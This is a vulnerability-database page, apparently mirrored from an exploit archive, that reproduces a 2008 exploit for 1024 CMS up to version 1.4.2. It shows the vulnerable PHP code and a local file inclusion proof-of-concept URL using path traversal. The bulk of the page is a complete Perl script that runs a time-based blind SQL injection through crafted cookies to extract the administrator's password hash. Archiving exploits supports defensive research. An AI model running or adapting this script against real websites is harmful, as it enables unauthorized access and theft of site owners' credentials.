Lucene search
K

1024 CMS <= 1.4.2 - Local File Inclusion / Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

1024 CMS <= 1.4.2 - Local File Inclusion / Blind SQL Injection Exploi

Code

                                                # Author:	__GiReX__
# mySite:	girex.altervista.org
# Date:		13/04/2008 

# CMS: 		1024 CMS &#60;= 1.4.1 and 1.4.2 (beta)
# Site:		1024cms.com

# Bug1:		Local File Inclusion
# Need:		magic_quotes_gpc = Off / register_globals = On

# Bug2:		Cookie Blind SQL Injection 
# Exploit:	Admin Hash Retrieve Exploit
# Need:		magic_quotes_gpc = Off


# Bug1: Vuln Code: pages/print/default/ops/news.php
   
  &#60;?php
     if(!isset($_GET[&#39;id&#39;]) || !is_numeric($_GET[&#39;id&#39;])) die(&#34;ID Not Set&#34;);
     include(&#34;./lang/&#34;.$lang.&#34;/news/default.php&#34;);

# $lang is unset so we can exploit through local file inclusion


# Include a local file in CMS directory
# PoC: [host]/[path]/pages/print/default/ops/news.php?id=1&lang=../../../../../[local file]%00



# Bug2: Vuln Code: /includes/system.php: Lines 66-71

  if(!isset($_SESSION[&#39;logged&#39;]) && (isset($_COOKIE[&#39;cookuid&#39;]) && isset($_COOKIE[&#39;cookpass&#39;]) &&       
      isset($_COOKIE[&#39;cooktype&#39;]) && isset($_COOKIE[&#39;cooklogged&#39;]))){
	 $_SESSION[&#39;logged&#39;] = $_COOKIE[&#39;cooklogged&#39;];
	 $_SESSION[&#39;user&#39;] = $_COOKIE[&#39;cookuid&#39;];
	 $_SESSION[&#39;type&#39;] = $_COOKIE[&#39;cooktype&#39;];

	$chk_comb = mysql_query(&#34;SELECT id, type, warning, banned FROM &#34;.$prefix.&#34;users 
        WHERE username=&#39;&#34;.$_SESSION[&#39;logged&#39;].&#34;&#39; AND password=&#39;&#34;.$_COOKIE[&#39;cookpass&#39;].&#34;&#39;&#34;) 
        or die(&#34;Cannot check combination: &#34;.mysql_error());

# We can exploit this vulnerable query editing our cookies and making a blind sql injection


###  Start Exploit  ###

#!/usr/bin/perl -w
# 1024 CMS &#60;= 1.4.2 (beta) Remote Blind SQL Injection
# Admin Hash Retrieve Exploit

use LWP::UserAgent;
use HTTP::Request;

if(not defined $ARGV[0])
{
	print &#34;usage: perl $0 [host] [path]\n&#34;;
	print &#34;example: perl $0 localhost /1024/\n&#34;;
	exit;
}

my $client =  new LWP::UserAgent;
my @cset   =  (48..57, 97..102); 
my $hash   =  undef;
 
my $host  = ($ARGV[0] =~ /^http:\/\//) ?  $ARGV[0]:  &#39;http://&#39; . $ARGV[0];
   $host .=  $ARGV[1] unless not defined $ARGV[1];

banner();
check_vuln($host) or die &#34;[-] Site not vulnerable: maybe magic_quotes_gpc = On\n\n&#34;;
syswrite(STDOUT, &#34;[+] Admin Hash: &#34;);

for($j = 1; $j &#60;= 32; $j++)
{  
    for($i = 0; $i &#60;= $#cset; $i++)
    {
        $pre_time = time();	
	
	 $rv = check_char($cset[$i], $j);
	 $post_time = time();	 
	
         if($post_time - $pre_time &#62; 3 and $rv)
	 {
	     $hash .= chr($cset[$i]); 
             syswrite(STDOUT, chr($cset[$i]), 1);
	     last;
	 }
    }
}

if(not defined $hash or length($hash) != 32)
{
     print STDOUT &#34;\n[-] Exploit mistake: please check the benchmark and the sql query\n\n&#34;;
}
else 
{
     print STDOUT &#34;\n[+] Exploit terminated\n\n&#34;;
}


sub banner
{
   print &#34;\n&#34;;
   print &#34;[+] 1024 CMS &#60;= 1.4.2 (beta) Remote Blind SQL Injection\n&#34;;
   print &#34;[+] Admin Hash Retrieve Exploit\n&#34;;
   print &#34;[+] Coded by __GiReX__\n&#34;;
   print &#34;\n&#34;;
}

sub check_vuln
{
  my $target = shift;

     $get = new HTTP::Request(GET, $target);
     $get-&#62;header(Cookie =&#62; &#34;cookpass=-1&#39;; cookuid=0; cooktype=0; cooklogged=0; cookuser=0&#34;);

     $res = $client-&#62;request($get);
     
     if($res-&#62;is_success) 
     {
         return 1 if $res-&#62;as_string =~ /Cannot check combination/;
     }
     else
     {
	die &#34;[-] Invalid target : ${target}\n\n&#34;;
     }

  return 0;
}

sub check_char
{
  my ($char, $n) = @_;
   
    $get-&#62;header(Cookie =&#62;  &#39;cookpass=-1\&#39;+AND+&#39;.
			    &#39;CASE+WHEN(SELECT ASCII(SUBSTRING(password,&#39;.$n.&#39;,1))+&#39;.
			    &#39;FROM+otatf_users+WHERE+id=1)=&#39;.$char.&#39;+&#39;.
                            &#39;THEN+BENCHMARK(90000000,CHAR(0))+END#; &#39;.
			    &#39;cookuid=1; cooktype=1; cooklogged=1; cookuser=1&#39;); 

    $res = $client-&#62;request($get);

  return $res-&#62;is_success;
}

# milw0rm.com [2008-04-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation